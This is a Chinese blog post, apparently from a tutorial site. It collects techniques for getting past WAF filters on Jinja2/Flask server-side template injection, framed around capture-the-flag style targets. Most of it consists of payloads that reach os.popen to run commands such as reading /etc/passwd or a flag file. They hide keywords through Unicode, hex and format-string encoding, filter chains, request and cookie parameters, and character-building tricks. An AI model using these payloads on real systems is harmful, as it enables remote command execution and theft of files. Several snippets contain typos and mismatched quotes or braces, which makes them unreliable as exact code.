最全SSTI模板注入waf绕过总结(6700+字数!)

11 篇文章 1 订阅
4 篇文章 1 订阅

目录:

WAF绕过:

1、{%%}绕过过滤{{}}

2、getitem()绕过[]过滤

3、request方法绕过:

request绕过单双引号过滤

同理单双引号也可以用cookies绕过

4、绕过下划线过滤:

1.使用request方法

2、使用Unicode编码

3、使用十六进制编码

4、同理有base64编码绕过

5、格式化字符串

5、绕过点过滤

1、中括号[]代替点

2、如果中括号也被过滤可以考虑attr()绕过

过滤器:

6、绕过关键字过滤:

1、编码绕过(就是刚刚的Unicode编码那些)

2、"+"拼接

3、Jinjia2中的~拼接

4、过滤器绕过(reverse,replace,join)

过滤器reverse

过滤器replace

过滤器join

5、利用python里的char()

7、绕过数字过滤

8、绕过符号过滤

SSTI混合过滤绕过:

实例解析1——WAF过滤’,”,+,request,[]

实例解析2——WAF过滤’,”,_,0-9,\,.,[],空格


WAF绕过:

1、{%%}绕过过滤{{}}

尝试{%%},想回显内容在外面加个print就行,

{%print("".__class__)%}

2、getitem()绕过[]过滤

getitem() 是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值:当对列表使用时,传入整数返回列表对应索引的值。

原本是[117],中括号被ban就用

__getitem__(117)代替[117]

3、request方法绕过:

request在flask中可以访问基于 HTTP 请求传递的所有信息,这里的request并非python的函数,而是在flask内部的函数。

request.args.key  #获取get传入的key的值

request.form.key  #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

reguest.values.key  #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get

request.cookies.key  #获取cookies传入参数

request.headers.key  #获取请求头请求参数

request.data  #获取post传入参数(Content-Type:a/b)

request.json  #获取post传入json参数 (Content-Type: application/json)

request绕过单双引号过滤

同理单双引号也可以用cookies绕过

{{().__class__.base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}

改包添加cookie

Cookie:k1=popen;k2=cat /etc/passwd

4、绕过下划线过滤:

1.使用request方法

GET提交URL?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__

POST提交:

code={{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(lequest.args.ini)|attr(request.args.glo)|attr(request.args.gei)(‘popen’(‘cat /etc/passwd’)attr(‘read’)()}}

2、使用Unicode编码

前置知识:

①‘’|attr(“__class__”)等效于‘’.__class__

②如果要使用xxx.os(‘xxx’)类似的方法,可以使用xxx|attr(“os”)(‘xxx’)

③使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

 Unicode编码的python脚本如下:

class_name = "cat /flag"

unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])

print(unicode_class_name)

payload示例:

url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}

(Unicode编码,这条payload等效于{{“”.__class__}}) 

3、使用十六进制编码

{{()[“\x5f\x5fclass\x5f\x5f”][“\x5f\x5finit\x5f\x5f”][“\x5f\x5fglobals\x5f\x5f”][“os”].popen(“ls”).read()}}

这条payload等效于{{“”.__class__.__init__.globals__.os.popen(“ls”).read()}}

4、同理有base64编码绕过

5、格式化字符串

{{()|attr("%c%cclass%c%c"%(95,95,95,95))|attr("%c%cbase%c%c"%(95,95,95,95))|attr("%c%csubclasses%c%c"%(95,95,95,95))()|attr("%c%cgetitem%c%c"%(95,95,95,95))(117)|attr("%c%cinit%c%c"%(95,95,95,95))|attr("%c%cglobals%c%c"%(95,95,95,95))|attr("%c%cgetitem%c%c"%(95,95,95,95))(‘popen’)(‘cat /etc/passwd’)|attr(‘read’)()}}

%c %(95) 即下划线(如果是在 hackbar 注入,需要将%编码为%25。在 URL中%是一个特殊字符,用于表示后面紧跟着两个十六进制数字的转义序列,如果想在 URL中包含%字符本身,需要对它进行额外的编码,将%编码成%25)

5、绕过点过滤

1、中括号[]代替点

{{()[‘class’][‘base’][‘subclasses’]()[117][‘init’][‘globals’][‘popen’](‘ls’)[‘read’]()}}

2、如果中括号也被过滤可以考虑attr()绕过

{{()|attr(‘__class__’)|attr(‘__base__’)|attr(‘__subclasses__’)()|attr(‘__getitem__’)(199)|attr(‘__init__’)|attr(‘__globals__’)|attr(‘__getitem__’)(‘os')|attr(‘popen’)(‘ls’)|attr(‘read’)()}}

过滤器:

flask常用过滤器:

length(): 获取一个序列或者字典的长度并将其返回

int(): 将值转换为int类型;

float():  将值转换为float类型

lower():  将字符串转换为小写

upper():  将字符串转换为大写

reverse():  反转字符串;

replace(value,old,new):  将value中的old替换为new

list():  将变量转换为列表类型,

string():  将变量转换成字符串类型

join():  将一个序列中的参数值拼接成字符串,通常配合dict()混合绕过

attr():  获取对象的属性

tips:

  1. 过滤器通过管道符号(|)与变量连接
  2. 一个过滤器的输出将应用于下一个过滤器

{{ users|upper}}  #把users值转化为大写

{{ users|upper|lower }}  #把users值转化为大写然后转化为小写,最终是小写

6、绕过关键字过滤:

1、编码绕过(就是刚刚的Unicode编码那些)

2、"+"拼接

{{().__class__}}等效于{{()[‘__cla’+’ss__’]}}

{{()[‘__cla’+’ss__’][‘__ba’+’se__’] [ ‘__subc’+’__lasses__’][‘__ get’+’item__’](199)[‘__in’+’it__’][‘__glo’+’bals__’][‘__geti’+’tem__’](‘os’)[‘po’+’pen’](‘ls’)[‘read’]()}}

3、Jinjia2中的~拼接

{{()[‘__class__’]}}等价于{%set a=’__cla’%}{%set b=’ss__’%}{{()[a~b]

{%set a=’__cla’%}{%set b=’ss__%}{%set c=’__ba’%}{%set d=’se__’%}{%set e=’__subcl’%}{%set f=’asses__’%}{%set g=’__in’%}{%set h=’it__’%}{%set l=’__gl’%}{%set i=’obals__%}{%set i=’po’%}{%set k=’pen’%}{{""[a~b][c~d][e~f]()[19][g~h][l~i][‘os’][j~k](‘ls’)[‘read’]()}}

4、过滤器绕过(reverse,replace,join)

过滤器reverse

{{()[‘__class__’]}}等价于{%set a=”__ssalc__”|reverse%}{{()[a]}}

payload可以这么构造:

{%set a=”__ssalc__”|reverse%}{%set b="__esab_
_"|reverse%}{%set c=”__sessalcbus__”|reverse%}{%set d="__ tini__"|reverse%}{%set e=”__slabolg__”|reverse%}{%set f=”nepop”|reverse%}{{""[a][b][c]()[199][d][e][‘os’][f](‘ls’)[‘read’]()}}

过滤器replace

{{()[‘__class__’]}}等价于{%set a=”__claee__”|replace("ee","ss")%}{{()[a]}}

过滤器join

{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}

(%set a=[‘__cla’,’ss__’]|join%}{{()[a]}}

5、利用python里的char()

{% set chr=url_for.__globals__[__builtins__].chr %}

(从内置函数里面获取ASCII解码功能,并赋值给变量chr)

构造payload如下:

{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

(这条payload等效于{{“”.__class__}})

7、绕过数字过滤

首先介绍length过滤器,length过滤器通常用于获取数据结构(比如列表、字典或字符串)的长度。

{% set a=’aaaaaaaaaa’|length %}{{a}}  #10

{% set a=’aaaaaaaaaa’|length*’aaa’|length %}{{a}}  #30

{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}}   #117

10个a*12个a-3个a=117个a

如果数字被过滤可以这样绕过:

{% set a=’aaaaaaaaaa’|length %}{{“”.__class__.__bases__.__subclasses__()[a].__init__.__ globals__[‘os’].popen(“ls”).read()}}

8、绕过符号过滤

利用flask内置函数和对象获取符号

{% set a=({}|select()|string()) %}{{a}} #获取下划线

{% set a=({}|self|string()) %} {{a}} #获取空格

{% set a=(self|string|urlencode) %}{{a}}  #获取百分号

{% set a=(app.__doc__|string) %}{{a}}

SSTI混合过滤绕过:

实例解析1——WAF过滤’,”,+,request,[]

Payload原型:

{{().__class__.__base__}}

绕过:

{% set a=dict(__class__=1)|join%)%}{%set b=dict(__base__=1)|join%}{{()|attr(a)|attr(b)}}

join会把字典(dict)里的键名都拼接起来,至于键的值是什么不重要,可以是__class__=1也可以是__class__=111

最终payload示例:

{% set a=dict(__class__=1)|join%)%}

{%set b=dict(__base__=1)|join%}

{%set c=dict(__subclasses__=1)|join%}

{%set d=dict(__getitem__=1)|join%}

{%set e=dict(in=1,it =2)|join%}

{{%set f=dict( glo=1,bals =2)|join%}

{%set g=dict(popen=1)|join%}

{%set kg={}|select()|string()|attr(d)(10)%}

{%set i=(dict(cat=1)|join,kg,dict(flag=2)|join)|join%)

{%set r=dict(read=1)|join%}

{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}

实例解析2——WAF过滤’,”,_,0-9,\,.,[],空格

注入{{lipsum|string|list}},如果回显的列表里第9位是空格,第18位是下划线,就可以这样获取下划线:

{%set a=(lipsum|string|list)[18]%}{{a}}

由于中括号被过滤:

{%set a=lipsum|string|list|attr(‘__getitem__’)(18)%}{{a}}

又由于下划线被过滤,可以用'pop’代替 getitem

{%set a=(lipsum|string|list)|attr(‘pop’)(18)%}{{a}}

这个payload是绕过过滤得到的下划线‘_’

同理下例是构造的__globals__:

该混合过滤的最终过滤示例

Payload原型

{{lipsum|attr("__globals__")|attr(“__getitem__”)("os")|attr("popen")("cat flag")|attr("read")()}}

绕过:

{%set nine=dict(aaaaaaaaa=a)|join|count%}

{%set eighteen=nine+nine%}

{%set pop=dict(pop=a)|join%}

{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%} #(获取下划线)

{%set kg=(lipsum|string|list)|attr(pop)(nine)%}  #(获取空格)

{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}

{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}

{%set os=dict(os=a)|join%}

{%set popen=dict(popen=a)|join%}

{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}

{{flag}}

  • 3
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值